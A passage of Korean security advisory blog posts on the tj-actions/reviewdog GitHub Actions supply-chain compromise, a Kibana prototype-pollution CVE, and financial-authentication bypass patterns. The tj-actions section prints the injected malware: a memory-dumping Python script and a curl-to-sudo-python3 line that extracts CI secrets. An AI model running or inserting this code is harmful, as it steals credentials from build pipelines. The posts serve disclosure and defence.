> 모의 침투 테스트 (ZAP, Burpsuite 등) [13][14][15]

4. 참고

[1] https://about.gitlab.com/
[2] https://nvd.nist.gov/vuln/detail/CVE-2025-25291
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-25292
[4] https://github.com/SAML-Toolkits/ruby-saml
[5] https://github.com/ruby/rexml
[6] https://github.com/sparklemotion/nokogiri
[7] https://gruuuuu.github.io/security/ssofriends/
[8] https://www.hahwul.com/2018/07/13/Security-testing-SAML-SSO-vulnerability-and-pentest/#signature-wrappingxsw-attack
[9] https://www.hahwul.com/cullinan/saml-injection/#signature-stripping
[10] https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SAML%20Injection#xml-signature-wrapping-attacks
[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71680&menuNo=205020
[12] https://about.gitlab.com/releases/2025/03/12/patch-release-gitlab-17-9-2-released/
[13] https://www.hahwul.com/cullinan/saml-injection/#saml-in-zapburp
[14] https://www.zaproxy.org/docs/desktop/addons/saml-support/
[15] https://github.com/CompassSecurity/SAMLRaider

1. tj-actions/changed-files [1]

- 리포지토리에서 파일 변경 사항을 추적(감지)하는 용도로 활용

- 약 23,000개 이상의 리포지토리에서 사용중

2. reviewdog/action-setup [2][3]

- 코드 리뷰 및 정적 분석을 자동화하는 데 사용

3. 주요 내용

- 공격자는 GitHub Action reviewdog/action-setup@v1를 감염시킨 후 이를 통해 tj-actions/changed-files를 침투 [4][5][6]

> CI/CD 러너(Runner) 메모리 데이터를 덤프해 환경 변수와 비밀 키를 로그에 기록하도록 조작

> 이로 인해 AWS 액세스 키, 깃허브 개인 액세스 토큰(PAT), NPM 토큰, 개인 RSA 키 등이 외부로 노출될 수 있음

[사진 1] 공급망 공격 과정 요약

- 공격자는 reviewdog/action-setup@v1의 install.sh에 Based64로 인코딩된 Python 코드를 삽입(Hardcoded) [8]

> 해당 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 덤프하는 코드

> CVE-2025-30154 (CVSS: 8.6)으로 지정 [9]

[사진 2] install.sh에 Hardcoded된 악성 코드

#!/usr/bin/env python3

# based on https://davidebove.com/blog/?p=1620

import sys
import os
import re

# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환
def get_pid():
    # /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        try:
            # 각 프로세스의 cmdline (실행 명령어) 확인
            with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
                if b'Runner.Worker' in cmdline_f.read():  # Runner.Worker가 포함된 프로세스인지 확인
                    return pid
        except IOError:
            continue

    # 해당 프로세스가 없으면 예외 발생
    raise Exception('Can not get pid of Runner.Worker')


if __name__ == "__main__":
    # Runner.Worker 프로세스의 PID 찾기
    pid = get_pid()
    print(pid)

    # 해당 프로세스의 maps과 mem 파일 경로 지정
    map_path = f"/proc/{pid}/maps"
    mem_path = f"/proc/{pid}/mem"

    # map 파일 및 mem 파일 읽기
    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        # 메모리 매핑된 각 영역을 한 줄씩 읽음
        for line in map_f.readlines():
            # 정규 표현식으로 메모리 시작-끝 주소와 권한 정보 추출
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)

            # 읽기 권한이 있는 영역만 대상
            if m and m.group(3) == 'r':
                start = int(m.group(1), 16)  # 시작 주소
                end = int(m.group(2), 16)    # 끝 주소

                # 64비트 환경에서 파이썬 int로 처리할 수 없는 주소 건너뛰기
                if start > sys.maxsize:
                    continue

                # 메모리 파일 포인터를 해당 영역의 시작 위치로 이동
                mem_f.seek(start)
                
                try:
                    # 메모리 내용을 읽고 표준 출력으로 내보내기 (바이너리로)
                    chunk = mem_f.read(end - start)
                    sys.stdout.buffer.write(chunk)
                except OSError:
                    # 일부 영역은 읽을 수 없을 수 있음 → 무시하고 넘어감
                    continue

 

- 공격자는 덤프로 탈취한 자격증명을 도용해 tj-actions/changed-files를 침해한 것으로 판단됨

> 공격자는 Based64로 인코딩된 페이로드를 index.js에 삽입

> 해당 코드는 특정 URL에서 Python 코드를 다운 받아 실행한 후 Based64를 두 번 적용해 출력하는 코드

> CVE-2025-30066 (CVSS: 8.6)으로 지정 [10]

[사진 3] 삽입된 함수

# 현재 OS 타입이 리눅스인 경우
if [[ "$OSTYPE" == "linux-gnu" ]]; then
# 특정 URL에서 memdump.py 다운로드 및 실행
# sudo 권한으로 실행
# 널 문자 제거 (tr -d '\0'), 특정 패턴 출력 (grep ~), 중복 제거 (sort -u), Based64 인코딩 두 번 적용 (base64 -w 0)
# 인코딩된 값 출력
  B64_BLOB=`curl -sSf hxxps://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
  echo $B64_BLOB
else
  exit 0
fi

 

- 특정 URL의 Python 코드는 Runner.Worker 프로세스의 메모리에서 읽기 가능한 영역을 추출하여 출력

#!/usr/bin/env python3

import sys
import os
import re

# 실행 중인 프로세스 중 'Runner.Worker' 문자열이 포함된 프로세스의 PID를 찾아 반환하는 함수
def get_pid():
    # /proc 디렉터리에서 현재 실행 중인 모든 프로세스 PID 목록 가져오기 
    pids = [pid for pid in os.listdir('/proc') if pid.isdigit()]

    for pid in pids:
        try:
            # 각 프로세스의 cmdline (실행 명령어) 확인
            with open(os.path.join('/proc', pid, 'cmdline'), 'rb') as cmdline_f:
                # Runner.Worker가 포함된 프로세스인지 확인
                if b'Runner.Worker' in cmdline_f.read():
                    # 찾으면 해당 PID 반환
                    return pid  
        except IOError:
            # 접근 불가한 PID는 무시
            continue

    # 찾지 못할 경우 예외 발생
    raise Exception('Can not get pid of Runner.Worker')  

if __name__ == "__main__":
    pid = get_pid()  # 대상 프로세스 PID 획득
    print(pid)  # 표준 출력으로 PID 출력 (bash 스크립트에서 사용)

    map_path = f"/proc/{pid}/maps"  # 메모리 매핑 정보 파일
    mem_path = f"/proc/{pid}/mem"   # 실제 메모리 접근 파일

    with open(map_path, 'r') as map_f, open(mem_path, 'rb', 0) as mem_f:
        for line in map_f.readlines():  # 매핑된 메모리 영역 하나씩 확인
            m = re.match(r'([0-9A-Fa-f]+)-([0-9A-Fa-f]+) ([-r])', line)  # 시작-끝 주소, 권한 파싱
            if m and m.group(3) == 'r':  # 읽기 권한(r)이 있는 영역만
                start = int(m.group(1), 16)
                end = int(m.group(2), 16)

                if start > sys.maxsize:  # 64비트 환경에서 처리 불가한 주소 방지
                    continue

                mem_f.seek(start)  # 메모리 영역 시작점으로 이동

                try:
                    chunk = mem_f.read(end - start)  # 해당 메모리 영역 읽기
                    sys.stdout.buffer.write(chunk)   # 메모리 내용 바이너리로 출력 (bash에서 후속 처리)
                except OSError:
                    # 일부 보호된 메모리 영역 접근 불가 → 무시
                    continue

[사진 4] tj-actions/changed-files 침해 요약

3. 대응방안

Action 업데이트 적용 (or 대체 도구로 교체 or 사용 중단)

- tj-actions/changed-files의 경우 46.0.1 버전에서 취약점을 해결 [11]

> 대체 도구 사용 : tj-actions/changed-files 액션을 step-security/changed-files@v45 로 교체

> 또는 사용 중단

 

Action 워크플로 실행 로그 감사

- 해당 기간 동안 Runner.Worker 관련 이상 활동 및 tj-actions/changed-files 또는 reviewdog/action-setup@v1 기록 확인

> “🐶 Preparing environment ...” 또는 [사진 5]의 문자열이 확인될 경우 악성코드가 실행된 것

[사진 5] 악성코드가 실행된 경우의 예시

관련된 비밀 정보 모두 변경

- GitHub 개인 액세스 토큰 (PAT), AWS 키, NPM 토큰, RSA 키 등 모든 종류의 비밀 키 교체

 

GitHub Actions 버전 고정 : 커밋 해시로 고정

- 특정 커밋 해시를 사용해 버전 고정

 

GitHub 허용 목록 기능 활용

- 신뢰할 수 있는 GitHub Actions만 실행하도록 허용 목록 구성

 

Reviewdog 의존 Action 점검

- reviewdog/action-setup이 다른 reviewdog Action의 구성요소로 포함되어 있어 해당 Action들에 대한 확인 필요
> reviewdog/action-shellcheck 
> reviewdog/action-composite-template 
> reviewdog/action-staticcheck 
> reviewdog/action-ast-grep 
> reviewdog/action-typos 

 

관련 로그 삭제 또는 환경 초기화

- 워크플로우 실행 로그 등 관련 로그를 삭제하거나 초기 환경으로 초기화

4. 참고

[1] https://github.com/tj-actions/changed-files
[2] https://github.com/reviewdog/action-setup
[3] https://github.com/reviewdog/reviewdog
[4] https://www.stepsecurity.io/blog/harden-runner-detection-tj-actions-changed-files-action-is-compromised
[5] https://sysdig.com/blog/detecting-and-mitigating-the-tj-actions-changed-files-supply-chain-attack-cve-2025-30066/
[6] https://www.wiz.io/blog/new-github-action-supply-chain-attack-reviewdog-action-setup
[7] https://www.wiz.io/blog/github-action-tj-actions-changed-files-supply-chain-attack-cve-2025-30066
[8] https://github.com/reviewdog/action-setup/commit/f0d342
[9] https://nvd.nist.gov/vuln/detail/CVE-2025-30154
[10] https://nvd.nist.gov/vuln/detail/cve-2025-30066
[11] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71685&menuNo=205020
[12] https://www.cisa.gov/news-events/alerts/2025/03/18/supply-chain-compromise-third-party-github-action-cve-2025-30066
[13] https://www.dailysecu.com/news/articleView.html?idxno=164623
[14] https://news.hada.io/topic?id=19770

1. Kibana

- ELK의 구성 요소 중 하나로, 데이터 시각화 및 분석을 위한 오픈 소스 도구 [1]

- Elasticsearch에 저장된 데이터를 쉽게 시각화하고 탐색 및 분석할 수 있는 웹 인터페이스를 제공

- 사용자가 Elasticsearch에 쿼리를 실행하고, 결과를 시각화(Discover, Visualize, Dashboard, Canvas, Maps 등)하여 분석할 수 있도록 도와줌

[사진 1] Kibana 예시

1.1 ELK

- Elasticsearch, Logstash, Kibana의 조합으로, 데이터 수집 및 분석을 위한 오픈 소스 솔루션 [2]

> Beats : 데이터 수집 담당

※ 데이터를 안정적으로 버퍼링하고 전달하기 위해 Redis, Kafka, RabbitMQ 등과 같이 사용할 수 있음

> Logstash : 다양한 소스에서 데이터를 수집 및 변환하며, 다른 저장소에 전달하는 데이터 처리 파이프 라인 도구

> Elasticsearch : 실시간 분산형 검색 엔진으로 데이터 검색 및 분석을 위해 사용되고, 대규모 데이터를 저장하고 실시간으로 검색할 수 있도록 설계

> Kibana : Elasticsearch에서 저장된 데이터를 시각화하고 분석하는 데 사용

[사진 2] ELK

2. CVE-2025-25015

[사진 3] CVE-2025-25015 [3]

- Prototype Pollution (프로토타입 오염)을 통한 Kibana 임의 코드 실행 취약점 (CVSS : 9.9)

> 조작된 파일 업로드와 조작된 HTTP 요청을 통해 임의의 코드를 실행할 수 있음

※ Elastic Cloud에서 실행되는 Kibana 인스턴스에만 영향을 미침

※ 코드 실행은 Kibana Docker 컨테이너 내에서 제한되며 컨테이너 이스케이프와 같은 추가 악용은 seccomp-bpf 및 AppArmor 프로필에 의해 방지

영향받는 버전
Kibana 8.15.0 이상 ~ 8.17.3 미만
※ 8.15.0 <= Kibana < 8.17.1 : Viewer 역할을 가진 사용자만 취약점을 악용할 수 있음

※ Kibana 8.17.1 및 8.17.2 : "fleet-all, integrations-all, actions:execute-advanced-connectors" 권한을 모두 가지는
사용자만 취약점을 악용할 수 있음

 

- 벤더사 제공 최신 보안 업데이트 적용 [4][5]

제품명 영향받는 버전 해결 버전
Kibana 8.15.0 이상 ~ 8.17.3 미만 8.17.3

 

- 즉시 업데이트가 불가한 경우 권고

> Kibana 설정파일 (kibana.yml)에서 Integration Assistant 기능 플래그를 false(xpack.integration_assistant.enabled: false)로 설정

 

2.1 Prototype Pollution (프로토타입 오염) [6][7]

- JavaScript 런타임을 대상으로 하는 주입 공격으로, 공격자는 이를 악용해 객체 속성의 기본값을 제어할 수 있음

> 애플리케이션의 논리를 조작할 수 있으며, 서비스 거부 또는 원격 코드 실행으로 이어질 수 있음

 

- JavaScript는 프로토타입 기반 객체 지향 프로그래밍 언어

> 프로토타입 (Prototype)이란 JavaScript에서 객체가 다른 객체의 속성과 메서드를 상속받을 수 있도록 하는 메커니즘

> 프로토타입 기반 언어이므로, 객체는 다른 객체를 원형 (Prototype)으로 삼아 속성과 메서드를 공유할 수 있음

> 주요 특징

① 모든 객체는 프로토타입을 가짐 : 객체가 생성될 때, 해당 객체는 자동으로 다른 객체(프로토타입)를 참조하게 됨

② 객체는 프로토타입을 통해 다른 객체의 속성과 메서드를 상속 : 프로토타입을 활용하면 객체지향 프로그래밍의 상속 기능을 구현할 수 있음

③ 프로토타입은 체인 (Prototype Chain)으로 연결 : 어떤 객체에서 속성을 찾을 때, 해당 객체에 없으면 프로토타입을 따라가면서 검색

 

- 프로토타입은 체인 (Prototype Chain)

> 객체가 속성을 검색할 때, 자신의 프로퍼티에서 찾지 못하면 프로토타입을 따라가며 탐색하는 구조

> 모든 객체는 Object.prototype을 최상위 프로토타입으로 가지며, 이를 따라가면서 상속됨

> 속성을 찾아 상위 프로토타입을 따라 최종적으로 Object.prototype까지 도달하면 (상위 프로토타입에서도 속성을 찾지못한 경우) undefined 반환

> child에는 familyName 속성이 없지만, 프로토타입 체인을 따라 (parent > grandparent) familyName 속성을 찾음

const grandparent = { familyName: "Kim" };
const parent = Object.create(grandparent); // parent의 프로토타입을 grandparent로 설정
const child = Object.create(parent); // child의 프로토타입을 parent로 설정

console.log(child.familyName); // "Kim"

[사진 4] Prototype Chain 테스트 [8]

- 공격자는 JavaScript의 프로토타입을 조작모든 객체에 악성 속성을 추가할 수 있음

> Object.prototype을 변경하면 모든 객체에 영향을 줄 수 있음

> __proto__, prototype 등의 속성을 사용해 Object.prototype을 변경할 수 있음

// 프로토타입 오염 전 상태 확인
console.log("프로토타입 오염 전 Object.prototype:");
console.log(Object.prototype.isAdmin); // undefined

// 프로토타입 오염 공격
Object.prototype.isAdmin = true; // true로 설정

// 프로토타입 오염 후 Object.prototype 상태 확인
console.log("\n프로토타입 오염 후 Object.prototype:");
console.log(Object.prototype.isAdmin); // true

// 프로토타입 오염 후 객체 생성 및 속성 확인
let obj = {};
console.log("\n오염된 프로토타입을 상속받은 객체:");
console.log(obj.isAdmin); // true

[사진 5] 오염 전 후 비교 [8]

2.2 대응 방안

① 사용자 입력 값 검증

> Object.prototype, proto 등 특정한 키워드를 필터링하고 안전한 데이터만 허용하도록 검증

 

② Object.create(null) 사용

> 프로토타입이 없는 객체를 생성 즉, Object.prototype을 상속받지 않으므로 프로토타입 오염 공격의 영향을 받지 않음

 

③ Object.freeze() 또는 Object.seal() 사용

> Object.freeze() : 객체의 변경을 막는 함수_객체의 속성 추가, 수정, 삭제를 할 수 없음

> Object.seal() : 객체의 변경을 막는 함수_ 객체의 속성 추가, 수정, 삭제를 할 수 없음, 단, 쓰기 가능한 속성의 값은 변경 가능

 

④ 정기적인 보안 업데이트 및 시큐어 코딩

> 사용하는 라이브러리 및 프레임워크의 보안 업데이트를 정기적으로 확인 및 적용

> 애플리케이션의 보안 취약점 정기적 점검

> 시큐어 코딩 및 코드 리뷰를 통해 잠재적 보안 문제 사전 발견 등

3. 참고

[1] https://www.elastic.co/kibana
[2] https://idkim97.github.io/2024-04-19-Kibana(%ED%82%A4%EB%B0%94%EB%82%98)%EB%9E%80/
[3] https://nvd.nist.gov/vuln/detail/CVE-2025-25015
[4] https://discuss.elastic.co/t/kibana-8-17-3-security-update-esa-2025-06/375441/1
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71670&menuNo=205020
[6] https://learn.snyk.io/lesson/prototype-pollution/?ecosystem=javascript
[7] https://www.igloo.co.kr/security-information/prototype-pollution-%EC%B7%A8%EC%95%BD%EC%A0%90%EC%9D%84-%EC%9D%B4%EC%9A%A9%ED%95%9C-%EA%B3%B5%EA%B2%A9%EC%82%AC%EB%A1%80-%EB%B6%84%EC%84%9D-%EB%B0%8F-%EB%8C%80%EC%9D%91%EB%B0%A9%EC%95%88/
[8] https://www.mycompiler.io/ko/new/nodejs

1. 개요

- 스마트폰을 통한 비대면 금융 서비스의 특성상, 금융 서비스를 이용하는 주체가 실제 권한을 가진 주체인지 확인하는 것이 매우 중요

- 인증 수단 자체에 대한 보안성은 확보했더라도, 인증 절차의 검증이나 절차 간의 연계에 대한 보안성 확보 등은 강구해나가야 할 과제

- 최근 이러한 인증 수단 및 절차의 허점을 이용한 금융 서비스의 명의 도용 및 인증 우회 피해 사례가 증가해 인증 서비의 보안이 더욱 중요

- 금보원은 간편 비밀번호·생체인증 등 다양한 금융 인증 체계를 해커의 관점에서 심층 분석한 ‘레드아이리스 인사이트 리포트 : Campaign Poltergeist’를 발간 [1]

※ 내용의 민감성을 고려하여 요약본 게시

2. 주요 내용

- 인증 수단 자체의 보안성이 강화되었더라도, 인증 절차의 설계와 구현 과정의 미흡함은 공격자에게 취약점을 노출하는 원인이 됨

2.1 인증 수단 및 절차 분석

- 서비스 이용 주체의 명의를 확인하는 데 사용되는 인증 수단의 분류

분류 인증 수단 및 설명
지식 기반 - 인증 요청자의 지식으로써 알고 있는 정보를 통해 인증을 수행
- 별도 절차 없이 지식과 기억에 의존하여 인증하므로 간편하게 인증 절차를 수행 가능
- 인증 정보를 잊어버린 경우를 대비한 재발급 절차 마련 및 안전한 인증 절차를 거치도록 해야 함
> ID/PW, 거래비밀번호, 계좌비밀번호, 문답식, 패턴 등
소지 기반 - 인증 요청자가 보유하고 있는 매체나 기기를 황용하여 인증을 수행
- 지식 기반 인증 비밀번호가 유출되어도 소지 기반 인증을 2-Factor 인증 수단으로 활용해 보다 안전한 설계 가능
- 단말이나 매체를 분실할 수 있으므로 안전한 재발급 및 재등록 절차를 마련해야 함
> SMS/ARS, 이메일, OTP(One-Time-Password)/M-OTP(Mobile-OTP), 비대면 실명인증(신분증 인증), 타행/타사 계좌 인증(1원 인증), 앱 기반 인증, 생체인증 등
지식 기반 + 소지 기반 - 보유한 지식과 매체 모두를 동시에 활용하여 인증하는 방식
- 둘 중 하나만 유출되었을 때 공격자가 인증 과정을 우회할 수 없도록 더 안전한 인증 과정 설계 가능
- 망각이나 분실에 대비하여 안전한 재발급/재등록 절차를 마련해야 함
> 공동인증서, 민간인증서, 기기 종속 인증(간편인증서), 신용카드 인증

 

- 인증 절차 분석

> 인증 수단 자체가 가지는 안정성도 중요하나, 이를 어떻게 절차적으로 설계하고 구현하는지가 취약점을 결정짓는 핵심 요소

[사진 1] 인증 절차 요약

인증 절차 단계 설명
인증 정보 획득 - 사용자가 인증을 위해 필요한 정보를 획득하는 단계
인증 정보 요청 - 사용자가 획득한 인증 정보를 인증 기관이나 인증 요청 기관에 전달하는 단계
- 인증 정보의 성격에 따라 네트워크 구간 암호화와 함께 종단간 암호화(E2E Enctyption)을 적용해 전달
외부 기관 인증 - "인증 정보 요청 단계 이전"이나 "인증 정보 검증 단계"에서 클라이언트나 서버가 외부 기관을 통해 인증을 수행하는 단계
- 인증 정보를 외부 기관에 전달하여 응답으로 받은 값을 가져오고, 해당 값을 통해 인증 절차의 정상 수행 여부를 판단
> 외부 기관을 통해 인증을 수행할 때는 금융 기관이 직접 구현하지 않고 외부 기관이 제공하는 코드, 모듈, API 등을 활용
> 인증 절차를 구현해야 하는 플랫폼별 언어가 다양해 외부 기관 인증의 구현체 코드를 각 언어에 맞춰 구현해야 하는 부담
인증 정보 검증 - 사용자가 전달한 인증 정보에 해당하는 주체와 서비스를 요청한 주체의 일치 여부를 검증
인증 결과 응답
및 서비스 요청
- 서버에서 처리한 인증 결과를 사용자에게 전달하는 단계
> 인증 결과값을 받아 다음 인증 단계 또는 서비스 이용을 위한 요청을 전송
> 인증 결과값은 프록시 도구로 변조가 가능하므로 인증 결과의 클라이언트단 검증은 신뢰해선 안됨

 

2.2 인증 우회 취약점 분석

- 인증 절차는 일반적으로 인증 정보 획득, 요청, 검증, 응답 및 서비스 요청 단계로 구성

> 인증 요청자는 클라이언트, 인증 검증자는 서버로써 인증 정보를 주고 받으며 전체적인 인증 절차를 수행

> 외부 기관과 연계하여 인증을 수행하는 경우, 인증 정보 획득, 검증 단계에서 클라이언트 혹은 서버가 외부 기관과 통신하여 인증 절차를 진행

인증 절차 단계 취약점 명 설명
인증 정보 획득 공격자 명의 인증 수단으로 인증 수행
(인증 정보 획득 시)
- 인증 절차 수행을 위한 서비스가 완전히 모듈화되어 있고, 인증 절차 진행을 위해 사용자 정보를 웹 요청(Request) 파라미터를 통해 받는 경우
> 인증 절차 진행을 위한 사용자 정보를 공격자 명의로 변조하여 인증 절차를 진행할 수 있음
> 인증 절차가 정상적으로 진행됐는지 유효성만 판단하는 경우 사용자 명의가 다르더라도 인증 절차를 통과되었다고 간주하여 인증 결과가 정상으로 반환되는 것을 악용 가능
타 사용자 인증 정보 획득 - OSINT 활용, 기유출된 인증 정보 등을 통해 타 사용자의 인증 정보를 획득할 수 있는 공격
> 인증에 사용되는 여러 인증 정보는 여러 인증 수단에서 공통적으로 사용되는 경우가 많음
> 또한, 그 값이 변하지 않는 경우가 많기 때문에 인증 정보를 획득함으로써 다른 모든 인증 우회 공격 시나리오의 시작이 되는 경우가 많음
피해자 명의 인증 수단 임의 발급/등록/변경 - 인증에 필요한 지식 정보, 인증 매체 등을 피해자의 의사와 관계없이 공격자가 임의로 발급/등록/변경할 수 있는 공격
> 다른 취약점이나 공격으로 획득한 피해자 정보를 통해 정상적인 절차를 밟아 인증 수단을 발급/등록/변경
> 인증 수단 외에도 회원 정보에 등록된 이메일, 휴대전화 등을 공격자 명의로 변경하여 해당 수단을 이용하는 인증 절차 우회 가능
인증 정보 획득시 응답값에 인증 정보 노출 - 서버로부터 인증 정보 획득을 위한 요청 응답값에 인증 정보가 노출되어 공격에 악용
> 구현상의 실수로 인증 정보 그 자체를 응답으로 넘겨주는 경우가 있음
인증 정보 요청 공격자 명의 인증 수단으로 인증 수행
(인증 정보 요청 시)
- 처음 인증 정보 요청은 피해자 명의로 했으나, 실제 인증 정보를 서버에 전달할 때 공격자 명의 인증 수단으로 진행하는 공격 방식
> 인증 정보를 보낼 때 인증 수단에 대한 정보를 함께 보낸다면 그 정보를 공격자 명의로 변조하거나 공격자 명의의 인증 정보를 보냄
> 모듈화 된 인증 서비스로 인해 본 서비스 요청 처리 전 인증 수행 및 명의 검증 절차가 정확히 지켜지지 않아 발생하는 취약점
인증 정보 변조 및 생성 - 인증 수단을 통해 획득한 인증 정보를 공격자가 유추할 수 있거나 생성해낼 수 있는 경우, 인증의 정상 수행 여부와 상관 없이 인증 정보를 요청할 때 정보를 변조 또는 생성하여 서버를 속일 수 있음
> 인증 결과를 서버에서 검증/처리하지 않고, 클라이언트 단에서 인증 정보 검증 결과를 받아 그 결과를 다시 서버에 요청하고 인증의 정상 수행 여부를 처리하는 경우 발생 가능
테스트 페이지/테스트 파라미터를 통한 인증 - 테스트 용도로 만들어 둔 페이지나, 특수한 파라미터를 받았을 때 어떤 인증 요청이 와도 항상 정상적으로 인증된 것처럼 인식하는것을 악용
> 개발/테스트 시 복잡한 인증 절차를 모두 수행하기 어려워 항상 인증 절차를 통과하도록 만들어 둔 테스트 인증 절차가 배포 과정에서 운영 코드에 들어가 발생
외부 기관 인증 클라이언트 단에서 외부 기관 인증 정보 검증 - 외부 기관 인증 요청 및 결과에 대한 검증을 서버에서 수행하지 않고 클라이언트 단에서 수행할 때 발생
> 공격자는 앱 변조, 응답값 변조, 결과 변도 증을 통해 인증 절차를 우회할 수 있음
> 서버단에서의 인증 절차 수행 여부 검증이 없기 때문에, 단순히 최종 서비스 요청 패킷을 변조하여 전송하는 것만으로도 목적을 이룰 수 있음
외부 기관 접근 권한 획득 - 인증 절차에 사용되는 외부 기관의 접근 권한이 탈취되었을 때 발생하는 취약점
> 슈퍼앱(여러 금융 계열사의 서비스를 하나의 앱으로 서비스)을 운영하는 금융기관이 늘어남에 따라, 앱 내 법인이 다른 동일 그룹 계열사 기관을 지정하여 타행/타사 계좌 인증을 우회할 수 있음
취약한 인증 결과 응답값 오용 - 외부 기관으로 부터 인증을 수행하고 전달 받은 결과값이 단순히 인증 결과만을 반환하거나 변조/생성될 수 있는 값일 경우 인증 우회에 사용할 수 있음
> CI 값의 경우 DI 값과 달리 사용자별로 변하지 않는 고유한 값이기 때문에 다른 기관에서 CI 값이 유출되었을 시 이를 이용해 인증 절차를 우회할 수 있음
※ CI(Connecting Information, 연결 정보) : 특정 개인을 고유하게 식별할 수 있도록 연결하는 정보
※ DI(Duplicated Information, 중복 정보) : 특정 서비스 또는 기관에서 동일한 사용자가 중복 가입하는 것을 방지하기 위해 활용하는 정보
인증 정보 검증 인증 절차 정상 수행 여부 미검증 - 하나 혹은 여러 인증 수단의 각 절차가 정상적으로 진행되지 않았을 때 서버에서 인증 절차의 정상 수행 여부를 검증하지 않는다면 인증 절차와 관계 없이 공격자가 요청한 서비스가 정상 처리 될 수 있음
> 여러 인증 수단을 복합적으로 사용하는 경우 각 인증 수단에 따른 인증 절차가 정상적으로 진행되었는지, 각 절차별로 결과에 대해 서버에서 상태(State)를 관리하여야 함
인증 정보 검증의 잘못된 예외 처리 - 인증 정보 검증 시 발생한 에러에 대한 예외 처리 구현이 잘못되었을 경우 오류가 발생했음에도 서비스는 정상 처리되는 등의 문제가 발생할 수 있음
> 타 사용자로 로그인 되는 등 인증 관련 보안 사고가 발생할 수 있으므로, 인증 관련 구문의 예외 처리 구현을 견고히하여야 함
인증 정보 검증 오류 횟수 미제한 - 오류횟수 제한을 두지 않았을 경우, 무작위 대입 공격을 통해 공격자가 비밀번호를 추측해 알아낼 수 있음
> 계좌 비밀번호, 거래 비밀번호, 카드 유효기간, 카드 비밀번호, 카드 CVC 번호 등은 금융 거래에 핵심이 되는 지식 정보이지만 복잡성이 낮은 정보들이 많기 때문에 오류횟수 미제한은 심각한 결과를 초래할 수 있음
인증 결과 응답 공격자 명의 인증 수단으로 인증 수행
(인증 결과 응답 이후)
- 인증 절차를 공격자 명의의 인증 수단으로 진행하고 인증 결과 응답에 포함된 공격자 명의의 정보를 피해자 명의의 인증 정보로 변조
> 클라이언트에서 변조된 정보가 자동으로 서명 및 암호화 과정에 사용되어 인증 우회가 용이함
> 서버는 정상적인 인증 응답으로 인식하기 때문에 보안 검증을 우회할 수 있음
인증 결과 응답값을 정상 응답값으로 변조 - 인증 결과 응답값을 정상 응답값으로 변조하여 클라이언트에선 마치 인증이 완료된 것처럼 인식되게 하고 인증 절차의 다음 단계로 넘어갈 수 있음
> 응답값을 변조한 것이기에 서버단에서의 검증에는 영향 없음
> 공격자가 요청시마다 일일히 공격자 명의 인증 정보를 피해자 명의 인증 정보로 변조하지 않아도 되기 때문에 공격 난이도와 복잡성을 낮출 수 있는 방법

 

2.3 Campaign Poltergeist

- 인증 우회 취약점의 연계를 통해 타 사용자의 계정 권한을 탈취, 추가 공격을 감행

> 마치 다른사람이 된 것처럼 인증 수단들을 발급하고 금융 서비스를 이용

구분 설명
Simple Path - 간편함이 핵심인 모바일 뱅킹 환경에서 사용자 편의성과 접근성을 위해 인증 수단들은 간편화되기 시작
> 6자리 간편 비밀번호, 생체기반 인증, 간편인증서 등이 도입
> 간편 인증정보들이 탈취되었을 경우 그 위험성 또한 몇 배로 증가
Shadow Twin - M-OTP, 공동인증서, API를 사용해 계좌 이체, 대출 등을 수행할 수 있음
> 간편 인증서 탈취 후 여러 인증 수단과 절차를 우회하거나 발급받아 금전적 피해가 발생할 수 있음
> 피해자의 모든 인증 수단과 권한을 공격자가 얻게 됨
Spectral Vault - 비대면 금융 서비스의 등장으로 명의 도용 등으로 대포통장과 사기계좌로 이용될 수 있음
> 계좌 개설 프로세스는 사기 등의 범죄 조직들의 악용을 막기위해 강력한 인증 절차를 갖춤
> 인증 우회 취약점의 연계를 통해 계좌 개설 프로세스에 사용되는 인증 절차를 모두 우회해 계좌 개설이 가능

 

[사진 2] Campaign Poltergeist 요약

2.4 근본 원인

여러 인증 수단의 복합적 사용

- 각 인증 수단 결과를 서버에 기록 및 검증하는 절차 역시 복잡해져 구현 실수 발생

- 하나의 인증 수단이 우회되거나 공격자가 임의로 발급받을 수 있다면 다른 인증 수단의 발급/등록 과정을 연쇄적으로 우회될 수 있음

복잡한 외부 인증 기관과의 연계

- 여러 인증 수단의 구현을 위해 금융사 자체적으로 모든 인증 서비스를 구현 및 운영할 수 없어 외부 인증 기관과 연계

- 클라이언트가 서버로 전달한 외부 인증기관 인증 결과의 정상 여부, 명의 일치 여부 등의 확인 과정이 복잡해짐

인증 서비스 코드 통합 및 유지보수의 어려움

- 외부에서 개발한 코드를 통합하였기 때문에 코드에 대한 이해도가 떨어지고, 복잡한 인증 절차가 맞물려 연계 및 검증에 허점이 발생

-  또한 수정 또는 변경사항이 있을 시 유지보수를 위해 코드를 수정하는 과정에 문제가 발생 가능

 

2.5 대응방안

견고한 인증 프로세스 설계

- 여러 인증 수단의 복잡한 사용과 외부 인증기관과의 복잡한 연계로 견고한 인증 프로세스 설계가 필요

- 모든 발생 가능한 공격 유형에 대비하고, 그 결과를 서비스 최종 요청 처리 시 확인할 수 있도록 설계해야 함

- 인증 과정과 관련된 로그를 남기고 이상 행위를 탐지할 수 있도록 설계

인증 절차 구현 시 보안 요구사항 적용

- 인증 수단별로 발생 가능한 모든 취약점 유형을 고려하여 보안 요구사항을 적용

- 다양한 인증 서비스 코드를 통합하고 유지보수하는 과정에서도 이러한 요구사항이 적용될 수 있도록 해야 함

